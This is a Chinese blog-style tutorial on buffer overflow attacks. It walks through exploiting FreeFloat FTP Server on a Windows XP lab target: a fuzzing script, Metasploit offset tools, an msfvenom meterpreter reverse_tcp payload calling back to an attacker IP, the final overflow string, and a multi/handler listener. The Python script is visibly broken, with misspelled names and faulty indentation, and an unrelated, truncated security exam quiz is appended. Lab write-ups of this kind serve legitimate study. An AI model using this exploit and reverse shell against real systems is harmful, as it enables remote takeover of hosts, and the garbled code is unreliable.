缓冲区溢出攻击(详细解析)

定义:利用缓冲区溢出漏洞进行攻击行动

攻击原理

通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

防范方法

缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权。如果能有效地消除缓冲区溢出的漏洞,则很大一部分的安全威胁可以得到缓解。
有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响。
1.通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。
2.强制写正确的代码的方法。
3.利用编译器的边界检查来实现缓冲区的保护。这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是相对而言代价比较大。
4.一种间接的方法,这个方法在程序指针失效前进行完整性检查。虽然这种方法不能使得所有的缓冲区溢出失效,但它能阻止绝大多数的缓冲区溢出攻击。分析这种保护方法的兼容性和性能优势。

环境模拟

攻击机:kali2021
靶机版本:windows XP 英文版

本环境自己搭建,部分工具自己下载

缓冲区溢出攻击脚本

import socket
import optparse

def ftpfuzz(host,post):
    st = ()
    conn = socket.socket(sockrt.AF_INET, socket.SOCK_STREAM)
    try:
            conn.connect((host,port))
            print '[+] Connected'

    except:
            print '[-] Connection failed!'
            exit(0)

    
    res = conn.recv(1024)
    print str(res)
    print '[+] Sendinf buffer...'
    conn.send('USER ' + st + '\r\n')


def main():
    parser = optparse.OptionParser('usage%prog '+'-H <target host> -P <target port>')
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-P', dest='tgtPort', type='int', help='specify target port')
    (option, args) = parser.parse_args()
    host = options.tgtHost
    port = options.tgtPort
    if (host == None) | (port == None):
print parser.usage
            exit(0)
    ftpfuzz(host,port)

if __name__ == '__main__':
    main()

2./usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300 生成300字节的字符串

在这里插入图片描述

3.将生成的300字符串放进脚本中,st=()

在这里插入图片描述
4.在windowsxp中,开启靶机环境

C:\Tool\OllyICE\OllyICE.exe
在这里插入图片描述

C:\freefloatftpserver1.0\Win32\FTPserver.exe

在这里插入图片描述
在这里插入图片描述

启动ftp

在这里插入图片描述

5.运行脚本,进行溢出

python ftp_fuzz_test.py -H 172.16.101.10 -P 21

在这里插入图片描述

靶机显示内存地址在37684136溢出

在这里插入图片描述

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q
0x37684136

发现在230字符串溢出
在这里插入图片描述

7.生成shellcod上传脚本,进行payload监听

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.101.7
LPORT=5551 -f python -v shellcode -b “\x00\x0a\x0d”

在这里插入图片描述

在windowsxp中,打开cmd,切换Tool目录下查看可执行模块的内存地址

在这里插入图片描述

在这里插入图片描述

findjmp.exe USER32/dll

在这里插入图片描述

脚本添加

st = (“A”*230 + “\x53\x93\xD2\x77” + “\x90” * 32+shellcode)

在这里插入图片描述

打开msfconsole进行监听

use exploit\multi\handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.101.7
set LPORT 5551

在这里插入图片描述

Python ftp_fuzz_test.py -H 172.16.101.10 -P 21

运行脚本,进行会连

在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
网络安全期末复习题及答案 一、选择题: 1. 计算机网络安全的目标不包括( A ) A.可移植性 B.保密性 C.可控性 D.可用性 2. SNMP的中文含义为( B ) A.公用管理信息协议 B.简单网络管理协议 C.分布式安全管理协议 D.简单邮件传输协议 3. 端口扫描技术( D ) A.只能作为攻击工具 B.只能作为防御工具 C.只能作为检查系统漏洞的工具 D.既可以作为攻击工具,也可以作为防御工具 4. 在以下人为的恶意攻击行为中,属于主动攻击的是( A ) A、身份假冒 B、数据解密 C、数据流分析 D、非法访问 5. 黑客利用IP地址进行攻击的方法有:( A ) A. IP欺骗 B. 解密 C. 窃取口令 D. 发送病毒 6. 使网络服务器中充斥着大量要求回复的信息,消耗带宽,导致网络或系统停止正常服务 ,这属于什么攻击类型? ( A ) A、拒绝服务 B、文件共享 C、BIND漏洞 D、远程过程调用 7. 向有限的空间输入超长的字符串是哪一种攻击手段?( A ) A、缓冲区溢出 B、网络监听 C、拒绝服务 D、IP欺骗 8. 用户收到了一封可疑的电子邮件,要求用户提供银行账户及密码,这是属于何种攻击手段 ( B ) A、缓存溢出攻击 B、钓鱼攻击 C、暗门攻击 D、DDOS攻击 9. Windows NT 和Windows 2000系统能设置为在几次无效登录后锁定帐号,这可以防止:( B ) A、木马 B、暴力攻击 C、IP欺骗 D、缓存溢出攻击 10. 当你感觉到你的Win2003运行速度明显减慢,当你打开任务管理器后发现CPU的使用率 达到了百分之百,你最有可能认为你受到了哪一种攻击。( B ) A、特洛伊木马 B、拒绝服务 C、欺骗 D、中间人攻击 11. 假如你向一台远程主机发送特定的数据包,却不想远程主机响应你的数据包。这时你 使用哪一种类型的进攻手段?( B ) A、缓冲区溢出 B、地址欺骗 C、拒绝服务 D、暴力攻击 12. 小李在使用super scan对目标网络进行扫描时发现,某一个主机开放了25和110端口,此主机最有可能 是什么?( B ) A、文件服务器 B、邮件服务器 C、WEB服务器 D、DNS服务器 13. 你想发现到达目标网络需要经过哪些路由器,你应该使用什么命令?( C ) A、ping B、nslookup C、tracert D、ipconfig 14. 黑客要想控制某些用户,需要把木马程序安装到用户的机器中,实际上安装的是( B ) A. 木马的控制端程序 B. 木马的服务器端程序 C. 不用安装 D. 控制端、服务端程序都必需安装 15. 为了保证口令的安全,哪项做法是不正确的( C ) A 用户口令长度不少于6个字符 B 口令字符最好是数字、字母和其他字符的混合 C 口令显示在显示屏上 D 对用户口令进行加密 16. 以下说法正确的是( B ) A.木马不像病毒那样有破坏性 B.木马不像病毒那样能够自我复制 C.木马不像病毒那样是独立运行的程序 D.木马与病毒都是独立运行的程序 17. 端口扫描的原理是向目标主机的________端口发送探测数据包,并记录目标主机的响 应。( C ) A.FTP B.UDP C.TCP/IP D.WWW 18. 假冒网络管理员,骗取用户信任,然后获取密码口令信息的攻击方式被称为( B )。 A. 密码猜解攻击 B. 社会工程攻击 C. 缓冲区溢出攻击 D. 网络监听攻击 19. 在进行微软数据库(Microsoft SQL Database)口令猜测的时候,我们一般会猜测拥有数据库最高权限登录用户的密码口 令,这个用户的名称是( C )? A. admin B. administrator C. sa D. root 20. 下列哪一种网络欺骗技术是实施交换式(基于交换机的网络环境)嗅探攻击的前提( C )? A. IP欺骗 B. DNS欺骗 C. ARP欺骗 D. 路由欺骗 21. 下列哪一种扫描技术属于半开放(半连接)扫描( B )? A. TCP Connect扫描 B. TCP SYN扫描 C. TCP FIN扫描 D. TCP ACK扫描 22. 恶意大量消耗网络带宽属于拒绝服务攻击中的哪一种类型( C )? A. 配置修改 B. 基于系统缺陷型 C. 资源消耗型 D. 物理实体破坏型 23. 现今,网络攻击与病毒、蠕虫程序越来越有结合的趋势,病毒、蠕虫的复制传播特点 使得攻击程序如虎添翼,这体现了网络攻击的下列哪种发展趋势( C )? A. 网络攻击人群的大众化 B. 网络攻击的野蛮化 C. 网络攻击的智能化 D. 网络攻击的协同化 24. 网络监听(嗅探)的这种攻击形式破坏了下列哪一项内容( B )? A. 网络信息的抗

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Eglike

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值